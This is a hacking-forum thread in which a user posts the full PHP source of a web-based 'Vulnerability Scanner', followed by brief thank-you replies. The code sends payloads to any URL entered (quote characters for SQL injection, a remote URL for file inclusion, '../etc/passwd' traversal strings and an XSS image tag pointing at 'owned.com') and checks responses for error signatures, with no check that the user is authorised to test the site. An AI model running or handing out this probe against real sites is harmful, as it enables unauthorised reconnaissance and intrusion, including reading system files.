Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Vulnerability Scanner

I saw someone here claiming to have coded this and trying to sell for 10$ lol

so here it is

PHP Code

<?php 
<html>
<
head>
   <
title>Vulnerability Scanner</title>

   <
style type="text/css">

      
body
      
{
      
color: #ffffff;
      
text-shadow: 2px 2px black;
      
background-color: #282828;
      
font-family: Arial, Helvetica, sans-serif;
      }

      
pre
      
{
      
background-color: #353535;
      
border: solid 1px #505050;
      
}

      
input
      
{
      
font-family: Arial, Helvetica, sans-serif;
      }

      .
Button
      
{
      
padding: 5px 10px;
      
background: #303030;
      
border: solid #101010 1px;
      
color: #fff;
      
cursor: pointer;
      
font-weight: bold;
      
border-radius: 5px;
      -
moz-border-radius: 5px;
      -
webkit-border-radius: 5px;
      
text-shadow: 1px 1px #000;
      
}

      .
Input
      
{
      
border: solid #101010 1px;
      
color: white;
      
font-weight: bold;
      
padding: 3px;
      
background-color: #252525;
      
}
    </
style>
</
head>
<
body>
<
div align="center">
    <
pre>
 
_____   _      _      _      _      _      _  
|_   _| | |__     ___      / \    | |   ___  | |__     ___   _ __ ___   (_)  ___  | |_
  
| |   | |_ \   / _ \    / _ \   | |  / __| | |_ \   / _ \ | |_ ` _ \  | | / __| | __|
  | |   | | | | |  __/   / ___ \  | | | (__  | | | | |  __/ | | | | | | \__ \ | |_
  |_|   |_| |_|  \___|  /_/   \_\ |_|  \___| |_| |_|  \___| |_| |_| |_| |_| |___/  \__|
  Vulnerability Scanner      www.crackhackforum.com
    </pre>

    <form method="POST" action="">
      Enter URL : <input type="text" name="url" value="<?php if(isset(
$_POST['url'])){echo(htmlentities($_POST['url']));}
      else{echo('http://example.com/index.php?id=1');} ?>" size="75" class="Input" />
      <input type="submit" name="submit" value="Scan" class="Button" />
    </form>

    <br />
    <?php

    //Coded by The Alchemist
    //Styled and modified by ande
    //Thanks again ande

    class Vulnscanner
    {
      private 
$sql      = array("'",'"');
      private 
$rfi      = array("http://www.facebook.com");
      private 
$lfi      = array("../etc/passwd",
      "../../etc/passwd",
      "../../../etc/passwd",
      "../../../../etc/passwd",
      "../../../../../etc/passwd",
      "../../../../../../etc/passwd");
      private 
$xss      = array("'\"/><img src=\"http://owned.com\"/>");

      private 
$sqlerrors   = array("mysql_", "You have an error in your SQL syntax",
      "SQL Error", "Database Error", "supplied argument is not a valid MySQL result resource");
      private 
$rfierrors   = array("Welcome to Facebook - Log In, Sign Up or Learn More", "failed to open stream: No such file or directory");
      private 
$lfierrors   = array("root:x:0:0:root:", "failed to open stream: No such file or directory");
      private 
$xsserrors   = array("<img src=\"http://owned.com\"/>");

      public function isvalid(
$link)
      {
      if(filter_var(
$link,FILTER_VALIDATE_URL) && strstr($link,"="))
      return true;
      return false;
      }

      private function getcontents(
$link)
      {
      
$agent= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0';
      
$ch = curl_init();
      curl_setopt(
$ch, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt(
$ch, CURLOPT_VERBOSE, true);
      curl_setopt(
$ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt(
$ch, CURLOPT_USERAGENT, $agent);
      curl_setopt(
$ch, CURLOPT_URL,$link);
      
$result=@curl_exec($ch);
      return 
$result;
      }

      private function errorcheck(
$url,$addtourl,$errorar)
      {
      foreach(
$addtourl as $val)
      {
      
$link = $url.$val;
      
$contents = $this->getcontents($link);
      foreach(
$errorar as $err)
      {
      if(strstr(
$contents, $err))
      return true;
      }
      }
      return false;
      }

      public function issqlvulnerable(
$link)
      {
      
$orig = $link;
      if(
$this->errorcheck($orig,$this->sql,$this->sqlerrors))
      echo htmlentities(
$orig) ." <span style=\"color: red;\">might</span> be vulnerable to SQL Injection.<br />";
      else
      echo htmlentities(
$orig) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to SQL Injection.<br />";
      }

      public function isrfivulnerable(
$link)
      {
      
$orig = $link;
      
$link = substr($link,0,strpos($link,'=')+1);
      if(
$this->errorcheck($link,$this->rfi,$this->rfierrors))
      echo htmlentities(
$orig) ." <span style=\"color: red;\">might</span> be vulnerable to RFI.<br />";
      else
      echo htmlentities(
$orig) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to RFI.<br />";
      }

      public function islfivulnerable(
$link)
      {
      
$orig = $link;
      
$link = substr($link,0,strpos($link,'=')+1);
      if(
$this->errorcheck($link,$this->lfi,$this->lfierrors))
      echo htmlentities(
$orig) ." <span style=\"color: red;\">might</span> be vulnerable to LFI.<br />";
      else
      echo htmlentities(
$orig) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to LFI.<br />";
      }

      public function isxssvulnerable(
$link)
      {
      
$orig = $link;
      
$link = substr($link,0,strpos($link,'=')+1);
      if(
$this->errorcheck($link,$this->xss,$this->xsserrors))
      echo htmlentities(
$orig) ." <span style=\"color: red;\">might</span> be vulnerable to XSS.<br />";
      else
      echo htmlentities(
$orig) ." is probably <span style=\"color: red;\">NOT</span> vulnerable to XSS.<br />";
      }

   } // END OF CLASS

    if(isset(
$_POST['url']) && isset($_POST['submit']))
    {
      
$obj = new Vulnscanner();
      
$link = $_POST['url'];
      if(
$obj->isvalid($link))
      {
      
$obj->islfivulnerable($link);
      
$obj->isxssvulnerable($link);
      
$obj->issqlvulnerable($link);
      
$obj->isrfivulnerable($link);
      }
      else
      {
      echo "<span style=\"color: red;\">". htmlentities(
$link) ." is not a valid link.</span>";
      }
    }
    ?>
<>
</body>
</html> 
Actully looks like a pretty cool Vulnerability Scanner.
Since I have never used one of these I can't really compare and say it's really good comared to others.
But looks nice.

Thanks for the share.
-DJS
thanks for sharing dear, soon i will test it :)
Looks good will try it out someday... :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
[PHP] by -zERAiTMar 29, 2015 03:12 PM 4 272 Mar 29, 2015 03:12 PM
Last Post: notM9
[PHP] by The Alchemist16Jan 1, 2013 09:58 AM 15 461 Jan 1, 2013 09:58 AM
Last Post: The Alchemist16
[PHP] by The Alchemist16Nov 23, 2012 01:46 AM 7 305 Nov 23, 2012 01:46 AM
Last Post: The Alchemist16